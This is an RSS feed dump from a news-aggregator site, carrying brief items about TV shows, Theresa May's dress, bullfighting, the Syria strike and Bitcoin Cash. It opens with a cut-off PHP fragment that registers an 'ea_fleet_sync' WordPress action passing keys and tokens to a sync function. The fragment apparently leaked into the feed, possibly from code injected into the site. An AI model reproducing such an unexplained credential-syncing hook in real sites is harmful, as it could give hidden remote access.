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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Divides – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 22 Sep 2020 23:10:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Divides – Brief News https://briefnews.eu 32 32 Bake Off backlash: Matt Lucas divides fans with ‘unnecessary’ Boris intro ‘Not funny’ https://briefnews.eu/bake-off-backlash-matt-lucas-divides-fans-with-unnecessary-boris-intro-not-funny/ https://briefnews.eu/bake-off-backlash-matt-lucas-divides-fans-with-unnecessary-boris-intro-not-funny/#respond Tue, 22 Sep 2020 23:10:15 +0000 https://briefnews.eu/bake-off-backlash-matt-lucas-divides-fans-with-unnecessary-boris-intro-not-funny/

Within the opening moments, the programme’s narrator gave some insight into how the show was able to go ahead.

There was much uncertainty surrounding how it would work, with it being revealed the bakers had to say goodbye to their families for the duration.

The show’s voiceover explained to viewers: “Like everyone up and down the country, the Bake Off has had to make some changes.

“To save this year’s competition, the bakers have agreed to leave their homes and move into the Bake Off bubble!”

Great British Bake Off airs Tuesdays from 8pm on Channel 4.

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]]> https://briefnews.eu/bake-off-backlash-matt-lucas-divides-fans-with-unnecessary-boris-intro-not-funny/feed/ 0 Tipping Point: ‘Jobsworth!’ Ben Shephard divides ITV viewers by refusing player’s answer https://briefnews.eu/tipping-point-jobsworth-ben-shephard-divides-itv-viewers-by-refusing-players-answer/ https://briefnews.eu/tipping-point-jobsworth-ben-shephard-divides-itv-viewers-by-refusing-players-answer/#respond Fri, 17 Apr 2020 18:36:54 +0000 https://briefnews.eu/tipping-point-jobsworth-ben-shephard-divides-itv-viewers-by-refusing-players-answer/

Although this is certainly an astrological term and indeed a chocolate bar, it was incorrect.

And Ben wasn’t happy, as he responded: “It is a chocolate but it’s not a planet is it though, Lisa?”

Upon being asked why she didn’t respond Mars, she replied: “I don’t know, Ben.”

Tipping Point airs weekdays at 4pm on ITV

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]]> https://briefnews.eu/tipping-point-jobsworth-ben-shephard-divides-itv-viewers-by-refusing-players-answer/feed/ 0 Theresa May divides Twitter showing acres of leg in high-split dress to meet Donald Trump https://briefnews.eu/theresa-may-divides-twitter-showing-acres-of-leg-in-high-split-dress-to-meet-donald-trump/ https://briefnews.eu/theresa-may-divides-twitter-showing-acres-of-leg-in-high-split-dress-to-meet-donald-trump/#respond Thu, 12 Jul 2018 21:48:00 +0000 http://briefnews.eu/theresa-may-divides-twitter-showing-acres-of-leg-in-high-split-dress-to-meet-donald-trump/

Theresa May welcomed Donald Trump, 72, and his wife Melania Trump, 48, for a lavish dinner at Blenheim Palace tonight.

All attendees looked suitably glamorous in black tie and floor-length gowns.

Dressed in red, Theresa also looked the part – but her choice of outfit set Twitter alight thanks to the incredibly high slit at the back of her dress.

From the front, the wine red dress looked conservative, but as soon as Theresa turned around or walked forward, the surprising split could be seen.

As she strode forward to greet Donald, acres of her legs were on show.

Hordes of commenters took to Twitter to share their surprise, and one wrote: “@theresa_may split in back of red dress , rather too high !! Nearly saw her underwear!!”

Another shared: “I think @theresa_may should have had a rethink about her choice of dress tonight. Going up those stairs was slightly embarrassing. #TrumpVisitUK”.

Some felt the dress was not right for the occasion, and one said: “Theresa May going up the stairs in that dress is a travesty!! I’m trying to digest the utterly unsuitable dress our PM is wearing to receive Trump right now”.

One asked simply: “What’s going on with the split up the rear of @theresa_may dress?? Is it meant to be that high?”

And another felt the colour was perhaps misguided, questioning: “Shouldn’t Theresa May be wearing a blue dress”.

Not everyone was negative about Theresa’s attire, with one writing: “How high is that slit on the back of the dress!! YOU GO GURRRL!”

Another gave lukewarm praise, and said: “Afraid to say though that I like Theresa May’s dress, even though it’s basically a bridesmaid’s dress when they’re allowed to pick their own styles but designated a colour”.

Giving the PM a boost of confidence, one wrote: “@theresa_may looks stunning in that red dress!! Yas girl !!”

Theresa May was not the only woman to command attention tonight, with First Lady Melania Trump looking radiant in a J Mendel buttercup yellow gown.

Melania’s gown was perfect for a night at a Palace, and the dress featured yards of yellow chiffon.

A criss-cross design came off her shoulders, with a cape hanging from the back of the dress.

A pair of court shoes in matching yellow could be seen peeping out underneath the hem of her gown.

Melania wore her hair in a sweeping side-parting, curled loosely and hanging over her shoulders.

Her huge diamond engagement ring coud be seen sparkling on her finger, but she chose to forgo all other jewellery for her first night out in the UK.

The mum-of-one als kept her makeup understated, wearing pink lipstick and heavy mascara, but nothing more complicated.

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]]> https://briefnews.eu/theresa-may-divides-twitter-showing-acres-of-leg-in-high-split-dress-to-meet-donald-trump/feed/ 0 Optical illusion: What is the couple doing? Viral hugging picture DIVIDES the internet https://briefnews.eu/optical-illusion-what-is-the-couple-doing-viral-hugging-picture-divides-the-internet/ https://briefnews.eu/optical-illusion-what-is-the-couple-doing-viral-hugging-picture-divides-the-internet/#respond Fri, 13 Apr 2018 15:45:15 +0000 http://briefnews.eu/optical-illusion-what-is-the-couple-doing-viral-hugging-picture-divides-the-internet/

An optical illusion of a couple uploaded to Imgur is causing widespread confusion on the social media site.

Optical illusions have become a popular internet phenomenon, with many enjoying the chance to weigh in with their own theories.

The picture features a couple embracing on a beach, with a brunette woman wrapping her arms tightly around her boyfriend.

Beside them is a wooden beach hut, and a calm sea can be seen in the horizon.

While the photo looks normal at first glance, a closer look makes the viewer very confused indeed.

The couple’s legs are not quite right, with a confusion as to where the man’s legs and woman’s legs are coming from.

To some, the woman seems to be lifting the man up in the air, his legs suspended above the ground.

A closer inspection shows the two sets of legs are emerging from the man’s shorts, with the feet pointing in opposite directions.

It is no wonder the post, uploaded by Imgur user EronHope, is captioned: “My brain hurts”.

So what is going on in this bizarre optical illusion picture?

Users have weighed in in the comments section below to try to explain the confusing snap.

One person’s theory is that the man is wearing striped shorts: “He’s wearing blue and white shorts, she’s wearing white whatevers.”

Another user has a more complex theory involving a long-sleeved T-shirt tied around the man’s waist.

They wrote: “He has a top with white sleeves tied around his waist, sleeves hanging at the back.”

What do you think is going on? The post has obviously created a lot of intrigue, with 4,985 views since it was uploaded 10 days ago.

Yesterday, another ‘eerie’ optical illusion picture with a fading pattern left the internet scratching their heads.

The pattern was circulated by David McPhillips on Twitter, who goes by the handle @primaryeyecare.

It is a cloudy pattern, made up on blue, yellow and purple shades, which proves very confusing when you look closer.

David posted the strange image with the caption: “Stare at the image for about half a minute without moving your eyes and watch as it gradually disappears.

“This is a variation of #Troxler’s effect which essentially says that if you fixate your eyes on a certain point, stimuli near that point will gradually fade.”

So does it work? Many agreed in the comments section below that the pattern does indeed fade after staring at it for a while.

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]]> https://briefnews.eu/optical-illusion-what-is-the-couple-doing-viral-hugging-picture-divides-the-internet/feed/ 0 Come Home: Christopher Eccleston's accent in gripping BBC drama DIVIDES viewers https://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/ https://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/#respond Wed, 28 Mar 2018 01:43:17 +0000 http://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/

Christopher Eccleston, who plays Northern Irish mechanic Greg in the brand new three-part BBC series, Come Home, made quite the impression on viewers.

Despite a gripping introduction, which saw Christopher’s character rescue his friend Brenna (played by Kerri Quin) from her abusive husband, viewers couldn’t get past one thing – his voice.

Those watching at home were divided over his Irish accent, with some amazed by how realistic it was, meanwhile others complained that it was “dodgy”.

Taking to social media to debate Christopher’s portrayal of a Northern Irish man, one viewer tweeted: “Christopher Eccleston with an Irish accent interesting.”

“Omg, I can’t get my head around Christopher Eccleston’s Irish accent,”(sic) added another.

Meanwhile, others praised the actor, with one writing: “Great accent Christopher Eccleston in this Come Home.”

While another said: “Jesus, Christopher Eccleston’s Belfast accent isn’t half bad!”

A third gushed: “So I’m from Belfast and can confirm @Christopher_Ecc in Come Home is one of the most authentic accents I’ve heard from a non-Belfastian. Stellar actor.”

However, some viewers weren’t as impressed with Christopher’s acting, as one tweeted: “Finding Christopher Eccleston with a thick Belfast accent very, very disconcerting.”

“Marie left Greg because of his dodgy Irish accent,” joked a second.

Elsewhere, Brenna’s behaviour left viewers at home sceptical of her after she made herself at home in Greg’s house and encouraged his teenage children to drink.

“Yep, Brenna’s a whole heap of trouble wrapped in a disaster,” said one viewer.

While another asked: “Has Christopher Eccleston just shacked up with the roughest bird in NI? This is excruciating.”

Earlier this week Christopher admitted that he had fallen in love with Belfast while filming Come Home in the city.

“I have to say, I’ve fallen in love with Belfast very much. It’s an incredible place. I could get moved by it,” Christopher told Belfast Live.

He added: “I’d love to come back. I feel like Belfast will always be part of my life now. I’m based in London because my children (Albert and Esme) are there, but I’ll definitely be back.”

Come Home airs on BBC One on Tuesday, April 3 at 9pm.

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COMPARED with Brexit, Bitexit seems a piece of cake. On August 1st, without much agonising or awkward negotiations, a group of Bitcoin activists and entrepreneurs managed to create a second version of the crypto-currency. It immediately gained a following: as The Economist went to press, a unit of “Bitcoin Cash” had a price of $ 460 and tokens worth $ 7.6bn were in circulation (although that is still much smaller than Bitcoin classic, which stood at about $ 2,700 and nearly $ 45bn).

This “fork”, as such events are called, came earlier than expected. But it is how insiders had expected a two-year-old conflict over the future of Bitcoin to end. At the heart of this “civil war” was the question of how to increase the capacity of the system, which can handle only up to seven transactions per second. The new version is able to process more than 50 per second, but otherwise works much like the original one.

Will Bitcoin Cash be more than just another “altcoin”, as the many existing clones of the crypto-currency are called? It is backed by Chinese “miners”, firms that provide the computing power to confirm payments and mint new digital coins. They have been unhappy with how the original system has been managed by its developers—and made some further technical tweaks to ensure that the new Bitcoin…

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]]> https://briefnews.eu/bitcoin-divides-to-rule/feed/ 0 Bullfighting: The bloody tradition that divides Spain https://briefnews.eu/bullfighting-the-bloody-tradition-that-divides-spain/ https://briefnews.eu/bullfighting-the-bloody-tradition-that-divides-spain/#respond Mon, 19 Jun 2017 00:47:14 +0000 http://briefnews.eu/bullfighting-the-bloody-tradition-that-divides-spain/

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Bullfight at the Plaza de Toros

No-one can argue that matador Ivan Fandino wasn’t aware of the risks.

Barely four years ago he ended up in hospital with serious injuries after a bruising encounter with an enraged bull, but eventually recovered and returned to the ring.

At the weekend, however, the luck of the 36-year-old from near Bilbao finally ran out.

The veteran of hundreds of fights tripped on his cape, was flipped in the air and gored in the side. It was a fatal mistake.

The married father-of-one, who was seen being carried away in agony, suffered a punctured lung and later died of a heart attack.

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A few minutes before he was gored Fandino, who became a bullfighter 12 years ago, had won a contest and cut off the fallen beast’s ear as is the custom.

He is the second Spanish matador to die within 12 months, following Victor Barrio, in July last year, at Teruel, in the north of the country.

Although this time the fatality happened just across the border, at the Aire-sur-l’Adour festival in in France, it has reignited calls for a ban.

The tradition divides Spain with opponents claiming it’s a barbaric, bloody spectacle that has no place in a civilised modern society.

Bullfighting is waning in popularity there and the days, in the 1960s, when the fights of the legendary Manuel Benitez would bring the nation to a standstill are long gone.

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Ivan Fandino Barros holds his “trophy” after his bullfight

In fact, now most young people are more interested in football.

One recent survey suggests that only 19 per cent of Spaniards support bullfighting, while 58 per cent oppose it.

Yet aficionados insist that it still deserves the accolade given by the dictator General Franco, who many years ago described bullfighting as the national sport.

In an apparent show of defiance, in 2015 the Spanish government bestowed cultural status on bullfighting.

It’s claimed that the tradition, which can be traced back to medieval times, is responsible for 57,000 jobs and brings in more than £1.2 billion to the economy.

Supporters also point out that while injuries are common deaths are mercifully rare.

Big rings now have their own infirmaries and 29-year-old Barrio was the first Spanish matador to die in the arena since 1992.

There’s no denying that safety standards have improved, but take a closer look and you’ll discover that more than 500 bullfighters have lost their lives since the 1700s.

Today there are about 400 official bullfights a year in Spain, involving matadors in colourful capes who engage in a custom that’s almost balletic, along with up to 1,500 smaller village events.

It’s estimated that about 10,000 bulls are slaughtered in the ring annually.

The nation’s farmers receive millions of Euros to breed the animals that are destined to be speared to death as part of a public spectacle.

The fighting bull is between four and six-years-old.

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Victor Barrio died in July last year

Campaigners for a ban reject assertions that the animals have a sporting chance.

They insist the odds are heavily stacked in favour of the matador, who has six assistants during every fight.

There are two picadores (lancers) mounted on horseback, three banderilleros (flagmen) and a mozo de espade (swordsman).

It’s claimed that bulls are driven into a frenzy beforehand, by being kept in cramped pens.

During the fight they become confused and increasingly tired through blood loss.

“How can anyone with an ounce of compassion cheer and chant ole as a lance is thrust into the animal’s pain racked body?” says a spokesman for the organisation Ban Bullfighting.

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Spanish matador Pablo Belando is tossed by a bull during a bullfight at the Ventas bullring in Madrid

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Spanish matador Pablo Belando is tossed by a bull during a bullfight at the Ventas bullring in Madrid

It describes the ritual, which was glamourised by the American author Ernest Hemingway, as “a national shame”.

The region of Catalonia, which considers itself separate from the rest of Spain, banned bullfighting.

The central government went to court successfully to have the decision overturned, although there’s not been a bullfight in Catalonia since 2011.

At the last festival in Barcelona one spectator said: “To close this historic arena is like throwing a Picasso painting into the garbage.”

There’s deep enmity between the rival factions in Spain and when Barrio died last year his widow received a barrage of hate mail.

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The tradition divides Spain with opponents claiming it’s a barbaric

To try to find common ground some areas have attempted to compromise, by ruling that while the spectacle can continue it must not result in the killing of the beasts that can weigh up to 92 stones.

For opponents there have been a series of breakthroughs.

In Valencia, the nation’s third largest city, the practice of setting bulls loose with flaming torches attached to their horns has been stopped.

In Madrid, the mayor has ended public funding of bullfighting schools.

The Canary Islands, heavily reliant on UK and German tourism, put a stop to bullfighting in 1991.

The custom of running bulls through the streets on their way to the ring, most notably in the town of Pamplona, has also been condemned.

Bullfighting’s popularity is greatest in Andalucía and around Madrid while it also thrives in other countries including the south of France, Mexico, Colombia, Venezuela, Peru, Guatemala and Panama.

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]]> https://briefnews.eu/bullfighting-the-bloody-tradition-that-divides-spain/feed/ 0 BBC2 Obesity programme DIVIDES viewers on NHS weight loss surgery prejudice https://briefnews.eu/bbc2-obesity-programme-divides-viewers-on-nhs-weight-loss-surgery-prejudice/ https://briefnews.eu/bbc2-obesity-programme-divides-viewers-on-nhs-weight-loss-surgery-prejudice/#respond Tue, 11 Apr 2017 22:27:17 +0000 http://briefnews.eu/bbc2-obesity-programme-divides-viewers-on-nhs-weight-loss-surgery-prejudice/

The BBC TV programme was hosted by Professor Rachel Batterham, research scientist and head of obesity services at University College Hospital. 

Rachel questioned the current NHS system for treating obesity, arguing weight loss surgery is an exceptionally effective tool that’s being under-utilised. 

The doctor said: “As a health community we are tending to ignore this as a problem. This isn’t difficult on an individual level, this is difficult on a global level.”

There are 14.5 million people suffering from obesity in the UK. That figure is expected to soar by 11 million by 2030. 

Yet bariatric surgery has declined of the past few years on the NHS and one of the doctors Rachel spoke to said he thinks prejudice against obese people might be to blame. 

He explained: “We probably do 350 cases a year. A few years ago we were probably doing about 600 cases a year. In the last five years there has been quite a significant drop in the number of cases we’re doing. 

“It may be that there’s a bit of prejudice out there. People think its worthwhile but maybe not deserved. 

“This is surgery to improve health, this isn’t surgery to lose weight and if we can get those messages across we’ll start to see our numbers increase again and we’ll see that prejudice eroded.”

Rachel spoke to many patients on the programme who had tried to access weight loss surgery on the NHS but failed, due to funding, eligibility or location.

The doctor believes even the medical community is lacking knowledge about the health benefits of the operation, which can send Type 2 diabetes into remission immediately and take patients straight off their various vital medications. 

Rachel said: “Immediately after surgery the hormones coming from the gut that are present in the blood completely change. These hormones act directly on the brain to control how hungry a person feels, which changes what sort of food the person would crave for.

“There’s a lack of understanding of the health benefits and a complete lack of understanding about how the surgery actually works.”

But the programme’s strong views about the benefits of weight loss surgery for the NHS and the whole of the UK were not shared by the entire audience. 

Some viewers took to Twitter to vent their frustration, with one writing: “This @BBCTwo #nhs #obesity programme is making me angry. Diet and exercise is the key, not tax payers money for surgery.”

Another person tweeted: “I have been a trainer and studied nutrition. The majority (not all) of these people should be prescribed a nutritionist not an op [operation].”

While many disagreed with the views of the obesity programme, there were still plenty of supporters of the message. 

One viewer tweeted: “It makes me angry that so many people think #Obesity is a choice. It’s not easy to lose that much weight. There’s a mental health aspect too.”

Another shared: “Obesity documentary really showing that in some cases it really does echo mental issues seen in other eating disorders #nhs.”

One person wrote: “At Last! A nonjudgemental view of obesity, and a supportive view of bariatric surgery. Well done Prof Rachel Batterham.”

Weight loss surgery currently costs between £7,000-£10,000 but centralised funding is about to be localised, which will change the entire system on the NHS. 

Obesity costs the NHS £5.1 billion each year, which is expected to more than double by 2030.

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]]> https://briefnews.eu/bbc2-obesity-programme-divides-viewers-on-nhs-weight-loss-surgery-prejudice/feed/ 0 'US was not attacked': Strike on Syria divides US lawmakers in both parties https://briefnews.eu/us-was-not-attacked-strike-on-syria-divides-us-lawmakers-in-both-parties/ https://briefnews.eu/us-was-not-attacked-strike-on-syria-divides-us-lawmakers-in-both-parties/#respond Fri, 07 Apr 2017 04:26:29 +0000 http://briefnews.eu/us-was-not-attacked-strike-on-syria-divides-us-lawmakers-in-both-parties/

Members of Congress are split on the question of whether President Donald Trump’s ordered Tomahawk missile strikes against a Syrian airbase were in accordance with US law. Lines drawn on the issue did not follow the pattern of partisanship often seen in Washington, DC.

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The US airstrikes on the Shayrat Air Base in Homs, Syria, on Thursday evening prompted Senator Rand Paul (R-Kentucky) to take to Twitter to criticize the US escalation in the region, not only as a strategic error, but an act that failed to meet the standard set in the US Constitution that makes Congress responsible for declaring war.

Senator Paul has long made his opposition to US intervention in Syria clear, even after Tuesday’s chemical gas attack near Idlib, Syria, which left dozens of Syrian civilians dead, including dozens of children.

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Senator Paul garnered support from across the aisle Thursday, as Democratic Congressman Ted Lieu of California tweeted his agreement. Lieu also questioned the purpose of the strike and called Trump a warmonger for breaking his campaign promises to get the US out of foreign wars.

Former vice presidential candidate Senator Tim Kaine (D-Virginia) expressed similar frustration, calling Trump’s unapproved airstrikes “unlawful.”

There was also bipartisanship on the other side of the controversy.

Senate Majority Leader Chuck Schumer (D-New York) said attacking Syrian President Bashar al-Assad was “the right thing to do,”according to ABC News. However, he also said that it was important for the Trump administration to “come up with a strategy and consult with Congress before implementing it. I salute the professionalism and skill of our Armed Forces who took action today.”

Republican Senators John McCain of Arizona and Lindsey Graham of South Carolina issued a joint statement, similar to Schumer’s, but with an added jab at the Obama administration.

“Unlike the previous administration, President Trump confronted a pivotal moment in Syria and took action. For that, he deserves the support of the American people,” Senators McCain and Graham said, encouraging Trump to “[follow] through with a new, comprehensive strategy in coordination with our allies and partners to end the conflict in Syria” and “bolster support for the vetted Syrian opposition and establish safe zones,” in order to defeat the Islamic State.

Senator Marco Rubio (R-Florida), who often aligns with McCain and Graham on foreign policy, told CNN, “I don’t believe this is a message. I believe this is actually a tactical action that furthers an objective, which is important.”

House Speaker Paul Ryan (R-Wisconsin) praised Trump’s ordered attacks as “appropriate and just.”

Democratic Whip Steny Hoyer of Maryland said they were “not a sufficient answer” to the Syrian conflict, but did not criticize them.

Elsewhere in the House, reactions from representatives ranged from stressing their importance as authorizers of the use of military force or, in at least one instance, called attacking Syria a “big mistake.”

Debate in the upper chamber may be anticipated to be just as extensive.

Senator Dick Durbin (D-Illinois) released a statement, calling the strike a “measured response,” but also said that any further action beyond airstrikes and missile strikes would require approval from congress, and the American people.

A fierce critic of Trump, Senator Liz Warren (D-Massachusetts), did not address the US strikes specifically, but said in a Facebook post that “expanded military intervention in Syria requires action by Congress. If President Trump expects such an authorization, he owes the American people an explanation of his strategy to bring an end to the violence in Syria.”

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]]> https://briefnews.eu/us-was-not-attacked-strike-on-syria-divides-us-lawmakers-in-both-parties/feed/ 0 Switched at Birth's 'Heartbreaking' 100th Episode Divides Sisters — Plus: Watch Angelo's 'Emotional' Return https://briefnews.eu/switched-at-births-heartbreaking-100th-episode-divides-sisters-plus-watch-angelos-emotional-return/ https://briefnews.eu/switched-at-births-heartbreaking-100th-episode-divides-sisters-plus-watch-angelos-emotional-return/#respond Tue, 21 Mar 2017 15:01:19 +0000 http://briefnews.eu/switched-at-births-heartbreaking-100th-episode-divides-sisters-plus-watch-angelos-emotional-return/ Switched at Birth is resurrecting a beloved family member… sort of.

Tuesday’s milestone 100th installment (Freeform, 9/8c) is “quite an emotional episode about Angelo coming back through” Ally (MacGyver‘s Tristin Mays), the girl who received his heart via transplant, executive producer Lizzy Weiss previews. As Bay and Daphne try to wrap their heads around their newfound connection to their deceased father (played by Gilles Marini), “they start seeing him and talking about him more than they ever have.”

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The hour also features a development in the “Travis/Emmett/Bay triangle story” and “an interfaith marriage” plot.

“Toby and Kathryn want to baptize Carlton, and Lily doesn’t,” Weiss shares. “With an episode about someone who’s passed away coming back, it felt like a little bit of a religious episode in a way. The parents have a conversation about, ‘Do you believe in the afterlife? Do you believe in heaven? What do you think happens?’”

Below, Weiss teases a “powerful” ending and reveals why Daphne and Bay are fighting. Plus: Watch a sneak peek of Daphne’s emotional “reunion” with Angelo.

Switched at Birth SpoilersTVLINE | What was the concept for this episode, and what did you want to accomplish in the 100th?
We always wanted to do an organ-donor story and bring back Angelo in that way. So for our 100th, it just seemed like the perfect time to honor the fourth parent of our family and make the family whole again. Everyone loves Gilles, and he was so excited to be back. It felt really just, like, warm and cozy again. And we just wanted [Ally to be], theoretically, a peer of Bay and Daphne, who would feel like the third sister in some ways, to really bring the specter of [Angelo] back in a grounded way. It’s not magic like our Christmas episode. He’s not back in reality, but there are visions of him from Bay, Daphne and Regina. It’s really, really, really touching.

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TVLINE | Is it really sad?
There are a couple really heartbreaking scenes for anyone who’s ever lost a parent or a spouse [like] Regina. I can just imagine feeling them so present that you could see them and talk to them one last time. For people who’ve had a loss like that, it will be, yes, quite emotional.

TVLINE | Are the Angelo scenes dreams, fantasy scenarios or real memories?
Each time, it’s different… I think he appears three times. We actually, frankly, really decided to not have him appear the entire episode. We really wanted it to feel powerful and special every time you see him, so it has a lot of impact. There’s talk of him.

The writer of the episode, Linda Gase, did a lot of research, and she discovered something really cool called cellular memory. A lot of donor recipients feel this personal tie with their donor, and they start reporting, “I never drank beer before, and now I love beer, and it must be because I got it from a young man who loves beer.” There are all these really interesting conversations about, Is there a science to that, is there a biology of getting the DNA from these cells? Or is it what you might imagine, that you’re drawing connections and trying to create a parallel to this person who let you live, and you’re finding reasons to find a connection? We thought that was really interesting. We get into that.

Press PLAY to watch Daphne’s remembrance of Angelo, then scroll down to keep reading.

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Switched at Birth SpoilersTVLINE | What are Ally’s intentions with this family? Does she want to be a part of it?
We really wanted to complicate that. Everything she says is not exactly on the up-and-up, but it’s not going to undermine the entire episode, either. We wanted to drive a wedge between [Daphne and Bay]. One of our girls has this instant connection to her and feels close to Angelo again by being around her, which would make sense, because they talk about Angelo in a positive way, and she wants to know more about him. Ally’s asking, “Did he like this? Did he like that?” And then the other girl feels like, “Hold on.” Regina’s very hesitant about knowing anything about the people who got Angelo’s organs. She just wants to shut down, emotionally, anything that has to do with that time because it’s so painful. One of the girls is protective of their mom and is saying, “Let’s tread with care. We don’t know this girl. We don’t know her intentions. We can’t just barrel her into our lives and make her part of the family.” There’s a fight between the girls about how to proceed with Ally.

TVLINE | When Angelo died, Daphne didn’t handle it very well. How is she coping with this new development?
She gets reminded of that in a really interesting way, that she didn’t handle the grief really well. People forgave her for that. So it’s a little bit of an episode about forgiveness, as well. The ending is pretty powerful.

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